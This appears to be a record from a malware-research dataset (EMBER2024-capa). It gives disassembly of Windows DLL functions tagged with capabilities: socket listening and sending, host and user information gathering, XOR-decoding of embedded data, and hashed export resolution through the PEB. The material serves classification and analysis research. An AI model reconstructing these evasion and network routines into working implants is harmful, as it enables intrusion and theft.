joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180015758
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x30
and dword [rax + 0x18], 0
xor ebx, ebx
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
test r8d, r8d
jle 0x1800157b2
and qword [rsp + 0x20], 0
mov r8d, edi
movsxd rdx, ebx
lea r9, [rsp + 0x50]
mov rcx, rbp
sub r8d, ebx
add rdx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800157d1
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x1800157d1
add ebx, eax
cmp ebx, edi
jl 0x180015780
or eax, 0xffffffff
cmp ebx, edi
cmovne ebx, eax
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
or eax, 0xffffffff
jmp 0x1800157bc

Function at 0x1800157d8
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
xor ebx, ebx
mov edi, r8d
mov rsi, rdx
and dword [rsp + 0x60], ebx
mov rbp, rcx
lea eax, [rbx + 1]
test r8d, r8d
jle 0x18001583e
mov r14d, 0x2000
mov r8d, edi
movsxd rdx, ebx
lea r9, [rsp + 0x60]
sub r8d, ebx
mov rcx, rbp
cmp r8d, r14d
cmovg r8d, r14d
and qword [rsp + 0x20], 0
add rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18001583c
add ebx, dword [rsp + 0x60]
cmp ebx, edi
jl 0x180015807
jmp 0x18001583e
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret

Function at 0x180015a20
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
and dword [rsp + 0x30], 0
mov rbx, rdx
mov rdi, rcx
lea r8, [rsp + 0x30]
mov edx, 0x8004667e
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_ioctlsocket]
lea rax, [0x180015ac4]
lea rcx, [0x180015ac0]
mov qword [rdi + 0x10], rax
lea rax, [0x180015b58]
mov qword [rdi + 8], rbx
mov rbx, qword [rsp + 0x38]
mov qword [rdi + 0x18], rax
lea rax, [0x180015a98]
mov qword [rdi + 0x20], rax
lea rax, [0x180015b4c]
mov qword [rdi + 0x28], rcx
mov qword [rdi + 0x30], rax
mov rax, rdi
mov qword [rdi + 0x38], rcx
add rsp, 0x20
pop rdi
ret

Function at 0x180015bb8
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
xor edi, edi
or r14d, 0xffffffff
mov ebx, r8d
mov rsi, rdx
mov rbp, rcx
test r8d, r8d
jle 0x180015c0c
mov r8d, ebx
movsxd rdx, edi
xor r9d, r9d
sub r8d, edi
add rdx, rsi
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, r14d
je 0x180015c2f
test eax, eax
je 0x180015c0c
add edi, eax
cmp edi, ebx
jl 0x180015be5
cmp edi, ebx
cmovne ebx, r14d
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov eax, r14d
jmp 0x180015c14
Function at 0x180015c34
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x20
xor ebx, ebx
test r8d, r8d
jne 0x180015c46
lea eax, [rbx + 1]
jmp 0x180015c57
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x180015e28
Capabilities:
Get hostname
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rdi, rcx
mov ecx, 0x494
call fcn.180015fec
mov edx, __WSAFDIsSet
mov rcx, rax
mov rbp, rax
call fcn.1800161e8
mov r13d, 0x100
mov rcx, rbp
mov edx, r13d
mov r14, rax
call fcn.1800161e8
mov edx, r13d
mov rcx, rbp
mov rsi, rax
call fcn.1800161e8
mov edx, r13d
mov rcx, rbp
mov r15, rax
call fcn.1800161e8
mov edx, r13d
mov rcx, rbp
mov r12, rax
call fcn.1800161e8
lea rdx, [rsp + 0x70]
mov rcx, r12
mov dword [rsp + 0x70], r13d
mov rbx, rax
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rdx, [rsp + 0x70]
mov rcx, r15
mov dword [rsp + 0x70], r13d
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.18000f008
mov r8d, 0x100
mov rdx, rbx
xor ecx, ecx
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x180015eff
mov edx, 0x5c
mov rcx, rbx
call fcn.1800214bc
mov rbx, rax
test rax, rax
je 0x180015eff
inc rbx
jne 0x180015f06
lea rbx, [0x1800328aa]
mov rcx, r14
mov dword [r14], __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [r14 + 4]
mov rcx, rdi
mov dword [0x180051d10], eax
mov dl, byte [r14 + 4]
call fcn.18000e1e0
mov dl, byte [r14 + 8]
mov rcx, rdi
call fcn.18000e1e0
movzx edx, word [r14 + 0xc]
mov rcx, rdi
call fcn.18000e278
mov rdx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
sar rdx, 0x20
call fcn.18000e248
mov edx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rdi
call fcn.18000e248
mov edx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
call fcn.18000e248
mov edx, r13d
mov rcx, rdi
call fcn.18000e248
lea r8, str._s_t_s_t_s
mov r9, r15
mov edx, 0x100
mov rcx, rsi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r12
call fcn.18001f63c
or rax, 0xffffffffffffffff
inc rax
cmp byte [rsi + rax], 0
jne 0x180015fa4
mov ecx, 0x3a
mov rdx, rsi
cmp eax, ecx
cmovg eax, ecx
mov rcx, rdi
mov r8d, eax
call fcn.18000e200
mov rcx, rbp
call fcn.1800160e0
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180016a78
Capabilities:
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov ebx, 1
mov edi, r8d
mov esi, edx
mov dword [rax + 0x20], ebx
mov ebp, ecx
call fcn.18000f10c
lea r15d, [rbx + 1]
xor r8d, r8d
mov edx, ebx
mov ecx, r15d
call qword [sym.imp.WS2_32.dll_socket]
or r14, 0xffffffffffffffff
mov rbx, rax
cmp rax, r14
jne 0x180016ac7
mov rax, r14
jmp 0x180016b30
movzx ecx, si
mov word [rsp + 0x20], r15w
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x68]
mov edx, 0x8004667e
mov rcx, rbx
mov dword [rsp + 0x24], ebp
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rcx, rbx
cmp eax, r14d
jne 0x180016b02
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x180016ac2
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_bind]
mov rcx, rbx
cmp eax, r14d
je 0x180016afa
mov edx, edi
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, r14d
jne 0x180016b2d
mov rcx, rbx
jmp 0x180016afa
mov rax, rbx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x180016b98
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
call fcn.180016be0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea edi, [rax + 0xdac]
mov rcx, rbx
call fcn.180016f2c
test eax, eax
jle 0x180016bcc
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
jb 0x180016bb6
mov rcx, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x1800170b8
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, qword [0x18004a470]
xor edi, edi
test rbx, rbx
je 0x18001716e
mov eax, dword [rbx + 4]
test eax, eax
jne 0x1800170e9
cmp dword [rbx + 0xc], eax
jne 0x1800170f2
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbx + 0xc], eax
mov rdi, rbx
mov rbx, qword [rbx + 0x28]
jmp 0x1800170cb
test eax, eax
jne 0x1800170e9
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rbx + 0xc]
cmp eax, 0x3e8
jbe 0x1800170e9
cmp dword [rbx + 0x10], 0
jne 0x18001711b
mov rcx, qword [rbx + 0x20]
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
cmp dword [rbx + 0x10], 4
jne 0x180017130
mov rcx, qword [rbx + 0x20]
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
je 0x180017144
cmp dword [rbx + 0x10], 2
je 0x1800170e9
mov rax, qword [rbx + 0x28]
mov rcx, rbx
test rdi, rdi
je 0x180017162
mov qword [rdi + 0x28], rax
call fcn.18001f244
mov rbx, qword [rdi + 0x28]
jmp 0x1800170cb
mov qword [0x18004a470], rax
call fcn.18001f244
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180016f2c
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r13
push r14
sub rsp, 0x40
and dword [rsp + 0x68], 0
mov rbx, qword [0x18004a470]
xor edi, edi
cmp qword [0x18004a478], rdi
mov rsi, rcx
jne 0x180016f6a
mov ecx, 0x100000
call fcn.18001f284
mov qword [0x18004a478], rax
test rbx, rbx
je 0x1800170a1
mov r14d, 4
mov r13d, 0xffffc
cmp dword [rbx + 4], 1
jne 0x180017094
mov ecx, dword [rbx]
cmp dword [rbx + 0x10], r14d
jne 0x18001700b
call qword [sym.imp.WS2_32.dll_htonl]
mov rdx, qword [0x18004a478]
xor r9d, r9d
mov dword [rdx], eax
xor eax, eax
mov dword [rsp + 0x70], reloc.WS2_32.dll_recv
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov rcx, qword [rbx + 0x20]
lea rax, [rsp + 0x70]
add rdx, r14
mov r8d, r13d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
mov edx, eax
cmp eax, 0xffffffff
jne 0x180016ff5
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x180017094
jmp 0x180017063
test eax, eax
je 0x180017094
mov rcx, qword [0x18004a478]
mov byte [rdx + rcx + 4], 0
jmp 0x180017087
call qword [sym.imp.WS2_32.dll_htonl]
lea r8, [rsp + 0x68]
mov edx, 0x4004667f
mov ecx, eax
mov rax, qword [0x18004a478]
mov dword [rax], ecx
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov r8d, dword [rsp + 0x68]
cmp r8d, r13d
cmova r8d, r13d
mov dword [rsp + 0x68], r8d
cmp eax, 0xffffffff
je 0x180017063
test r8d, r8d
je 0x180017094
mov rdx, qword [0x18004a478]
mov rcx, qword [rbx + 0x20]
add rdx, r14
call fcn.18001717c
cmp eax, 0xffffffff
jne 0x180017078
mov rcx, qword [0x18004a478]
and dword [rbx + 4], 0
mov r8d, r14d
mov edx, r14d
call rsi
jmp 0x180017094
mov edx, dword [rsp + 0x68]
cmp eax, edx
jne 0x180017094
mov rcx, qword [0x18004a478]
mov r8d, 5
add edx, r14d
call rsi
inc edi
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x180016f7f
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x78]
mov eax, edi
add rsp, 0x40
pop r14
pop r13
pop rdi
ret
Function at 0x1800170b8
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
call fcn.180016be0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea edi, [rax + 0xdac]
mov rcx, rbx
call fcn.180016f2c
test eax, eax
jle 0x180016bcc
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
jb 0x180016bb6
mov rcx, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x1800170b8
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, qword [0x18004a470]
xor edi, edi
test rbx, rbx
je 0x18001716e
mov eax, dword [rbx + 4]
test eax, eax
jne 0x1800170e9
cmp dword [rbx + 0xc], eax
jne 0x1800170f2
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbx + 0xc], eax
mov rdi, rbx
mov rbx, qword [rbx + 0x28]
jmp 0x1800170cb
test eax, eax
jne 0x1800170e9
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rbx + 0xc]
cmp eax, 0x3e8
jbe 0x1800170e9
cmp dword [rbx + 0x10], 0
jne 0x18001711b
mov rcx, qword [rbx + 0x20]
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
cmp dword [rbx + 0x10], 4
jne 0x180017130
mov rcx, qword [rbx + 0x20]
mov edx, 2
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
je 0x180017144
cmp dword [rbx + 0x10], 2
je 0x1800170e9
mov rax, qword [rbx + 0x28]
mov rcx, rbx
test rdi, rdi
je 0x180017162
mov qword [rdi + 0x28], rax
call fcn.18001f244
mov rbx, qword [rdi + 0x28]
jmp 0x1800170cb
mov qword [0x18004a470], rax
call fcn.18001f244
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x18001717c
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov esi, r8d
mov rbp, rdx
mov rdi, rcx
test r8d, r8d
jle 0x1800171c6
mov r8d, esi
xor r9d, r9d
mov rdx, rbp
sub r8d, ebx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
add rbp, rcx
add ebx, ecx
cmp ecx, 0xffffffff
je 0x1800171dd
cmp ebx, esi
jl 0x1800171a0
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov edx, 2
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x1800171c8
Function at 0x1800171fc
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x450
mov esi, r8d
mov rbp, rdx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
and dword [rsp + 0x478], 0
mov dword [rsp + 0x47c], 0x64
lea ebx, [rax + 0x7530]
jmp 0x1800172df
mov rax, qword [rdi + 0x20]
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x240]
mov qword [rsp + 0x248], rax
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x478]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x240], 1
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 1
call qword [sym.imp.WS2_32.dll_select]
mov rcx, qword [rdi + 0x20]
lea rdx, [rsp + 0x30]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x1800172ed
mov rcx, qword [rdi + 0x20]
lea rdx, [rsp + 0x240]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x1800172df
mov rcx, qword [rdi + 0x20]
xor r9d, r9d
mov r8d, esi
mov rdx, rbp
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1800172ed
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x1800172ed
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, ebx
jb 0x180017240
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x180017308
Capabilities:
Get socket status
Resolve dns
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x388]
sub rsp, 0x470
mov esi, r9d
mov r14d, r8d
mov r15, rdx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
and dword [rsp + 0x30], 0
lea ebx, [rax + 0x7530]
mov dword [rsp + 0x34], 0x64
jmp 0x1800173bd
mov rax, qword [rdi + 0x20]
lea r9, [rsp + 0x50]
lea r8, [rbp + 0x160]
mov qword [rbp + 0x168], rax
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x30]
xor edx, edx
xor ecx, ecx
mov dword [rbp + 0x160], 1
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x50], 1
call qword [sym.imp.WS2_32.dll_select]
mov rcx, qword [rdi + 0x20]
lea rdx, [rsp + 0x50]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x180017429
mov rcx, qword [rdi + 0x20]
lea rdx, [rbp + 0x160]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
jne 0x1800173c9
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, ebx
jb 0x180017351
jmp 0x180017429
mov rcx, qword [rbp + 0x3b0]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x180017429
mov eax, 2
movzx ecx, si
mov word [rsp + 0x38], ax
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [rbp + 0x3b0]
mov word [rsp + 0x3a], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov rcx, qword [rdi + 0x20]
mov dword [rsp + 0x3c], eax
lea rax, [rsp + 0x38]
xor r9d, r9d
mov r8d, r14d
mov rdx, r15
mov dword [rsp + 0x28], reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_sendto]
lea r11, [rsp + 0x470]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x180019220
Capabilities:
Enumerate files on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov r14, rcx
mov r12d, 0x8000
mov r15, r8
mov ecx, r12d
mov rsi, rdx
call fcn.18001f284
lea r8, str._s
mov r9, r14
mov rcx, rax
mov edx, r12d
mov rbx, rax
call fcn.18001f63c
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rcx, rbx
mov rbp, rax
call fcn.18001f244
cmp rbp, 0xffffffffffffffff
je 0x18001933e
lea rdi, [rsi + 0x2c]
test byte [rsi], 0x10
je 0x180019315
mov al, byte [rdi]
cmp al, byte [0x180032924]
jne 0x1800192ab
mov al, byte [rdi + 1]
cmp al, byte [0x180032925]
je 0x180019321
mov al, byte [rdi]
cmp al, byte [0x180032928]
jne 0x1800192cb
mov al, byte [rdi + 1]
cmp al, byte [0x180032929]
jne 0x1800192cb
mov al, byte [rdi + 2]
cmp al, byte [0x18003292a]
je 0x180019321
mov rcx, r12
call fcn.18001f284
lea r8, [0x1800326f4]
mov r9, rdi
mov rcx, rax
mov rdx, r12
mov rbx, rax
call fcn.18001f63c
mov r9, r15
mov r8, rsi
mov rdx, rdi
mov rcx, r14
call fcn.180019360
mov r8d, 1
mov rdx, rbx
mov rcx, r14
call r15
mov rcx, rbx
call fcn.18001f244
jmp 0x180019321
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call r15
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180019291
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x18001b288
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
lea rsi, [0x180047840]
mov ebp, 0x800
lea r8, str.._._._.._._.__
mov rcx, rsi
mov r9d, 0x1800
mov edx, ebp
call fcn.18001b3b8
xor r14d, r14d
mov eax, r14d
xor byte [rax + rsi], 0x8a
inc rax
cmp rax, rbp
jl 0x18001b2ca
lea rcx, [rsp + 0x20]
mov r8d, ebp
mov rdx, rsi
call fcn.180016104
jmp 0x18001b37a
lea rcx, [rsp + 0x20]
call fcn.18001624c
lea rcx, [rsp + 0x20]
movsx ebx, ax
call fcn.18001624c
mov rcx, qword [0x180051d08]
movsx rdi, di
mov edx, ebx
shl rdi, 4
mov word [rdi + rcx], bx
dec edx
je 0x18001b364
dec edx
je 0x18001b34d
dec edx
jne 0x18001b37a
lea rcx, [rsp + 0x20]
movsx edx, ax
movsx rbx, ax
call fcn.1800161e8
mov rcx, qword [0x180051d08]
mov r8, rbx
mov rcx, qword [rdi + rcx + 8]
mov rdx, rax
call fcn.18001f920
jmp 0x18001b37a
lea rcx, [rsp + 0x20]
call fcn.180016114
mov rcx, qword [0x180051d08]
mov dword [rdi + rcx + 8], eax
jmp 0x18001b37a
lea rcx, [rsp + 0x20]
call fcn.18001624c
mov rdx, qword [0x180051d08]
mov word [rdi + rdx + 8], ax
lea rcx, [rsp + 0x20]
call fcn.18001624c
movzx edi, ax
test ax, ax
jg 0x18001b2eb
mov r8, rbp
xor edx, edx
mov rcx, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
jmp fcn.18001f530

Function at 0x18001b3b8
Capabilities:
Encode data using xor

Disassembly:
test edx, edx
jle 0x18001b3fe
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov ebx, edx
mov r11, rcx
xor r10d, r10d
movsxd rdi, r9d
mov eax, r10d
mov rcx, rdi
inc r10d
cdq
idiv r9d
movsxd rax, edx
sub rcx, rax
mov al, byte [rcx + r8 - 1]
xor byte [r11], al
inc r11
cmp r10d, ebx
jl 0x18001b3d1
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret

Function at 0x18001b400
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
xor r10d, r10d
mov ebx, edx
mov r11, rcx
test edx, edx
jle 0x18001b42d
mov eax, r10d
inc r10d
cdq
idiv r9d
movsxd rax, edx
mov cl, byte [rax + r8]
xor byte [r11], cl
inc r11
cmp r10d, ebx
jl 0x18001b411
mov rbx, qword [rsp + 8]
ret
Function at 0x18001c44c
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
mov r8, rcx
mov eax, 0x52964ee9
cmp byte [rcx], r9b
je 0x18001c476
movzx ecx, word [rcx]
mov edx, eax
inc r9d
ror edx, 8
add edx, ecx
mov ecx, r9d
add rcx, r8
xor eax, edx
cmp byte [rcx], 0
jne 0x18001c45c
repz ret

Function at 0x18001c478
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov r13, rcx
mov r8d, 0x20202020
mov r9, qword [rax + 0x60]
mov r10, qword [r9 + 0x18]
add r10, 0x10
mov r9, qword [r10]
cmp r9, r10
je 0x18001c668
mov rdi, qword [r9 + 0x30]
mov r9, qword [r9]
movsxd rax, dword [rdi + 0x3c]
mov ecx, dword [rax + rdi + 0x88]
test ecx, ecx
je 0x18001c4b6
lea rsi, [rdi + rcx]
cmp dword [rsi + 0x18], 0
je 0x18001c4b6
mov ecx, dword [rsi + 0xc]
mov eax, dword [rcx + rdi]
or eax, r8d
cmp eax, 0x6c64746e
jne 0x18001c4b6
mov eax, dword [rcx + rdi + 4]
or eax, r8d
cmp eax, 0x6c642e6c
jne 0x18001c4b6
movzx eax, word [rcx + rdi + 8]
or ax, 0x20
cmp ax, 0x6c
jne 0x18001c4b6
mov ebx, dword [rsi + 0x1c]
mov ebp, dword [rsi + 0x20]
mov eax, dword [rsi + 0x24]
mov r8d, edx
add rax, rdi
add rbx, rdi
add rbp, rdi
mov rcx, r13
shl r8, 4
xor edx, edx
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x28], rbp
xor r15d, r15d
call fcn.18001f530
xor r14d, r14d
cmp dword [rsi + 0x18], r14d
jbe 0x18001c603
mov ebp, dword [rbp + r14*4]
add rbp, rdi
je 0x18001c5f1
mov eax, 0x694b
cmp word [rbp], ax
jne 0x18001c59c
mov rcx, rbp
call fcn.18001c44c
cmp eax, 0x8dcd4499
jne 0x18001c59c
mov rax, qword [rsp + 0x88]
movzx eax, word [rax + r14*2]
mov ecx, dword [rbx + rax*4]
add rcx, rdi
call fcn.18001c410
mov rcx, qword [rsp + 0x80]
mov qword [rcx], rax
mov eax, 0x775a
cmp word [rbp], ax
jne 0x18001c5f1
mov ebx, r15d
mov rcx, rbp
add rbx, rbx
call fcn.18001c44c
mov r8, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x20]
mov dword [r13 + rbx*8], eax
movzx eax, word [r8 + r14*2]
mov ecx, dword [rdx + rax*4]
inc r15d
mov dword [r13 + rbx*8 + 4], ecx
movzx eax, word [r8 + r14*2]
mov ecx, dword [rdx + rax*4]
add rcx, rdi
mov qword [r13 + rbx*8 + 8], rcx
cmp r15d, dword [rsp + 0x78]
je 0x18001c603
mov rbx, rdx
mov rbp, qword [rsp + 0x28]
inc r14d
cmp r14d, dword [rsi + 0x18]
jb 0x18001c551
lea r11d, [r15 - 1]
xor r10d, r10d
test r11d, r11d
je 0x18001c668
mov eax, r15d
sub eax, r10d
dec eax
je 0x18001c660
lea r8, [r13 + 4]
lea r9, [r13 + 0x14]
mov ebx, eax
mov esi, dword [r8]
mov edi, dword [r9]
cmp esi, edi
jbe 0x18001c653
mov eax, dword [r9 - 4]
mov edx, dword [r8 - 4]
mov rcx, qword [r8 + 4]
mov dword [r8 - 4], eax
mov rax, qword [r9 + 4]
mov dword [r8], edi
mov dword [r9 - 4], edx
mov dword [r9], esi
mov qword [r9 + 4], rcx
mov qword [r8 + 4], rax
add r9, 0x10
add r8, 0x10
dec rbx
jne 0x18001c623
inc r10d
cmp r10d, r11d
jb 0x18001c60f
mov rbx, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret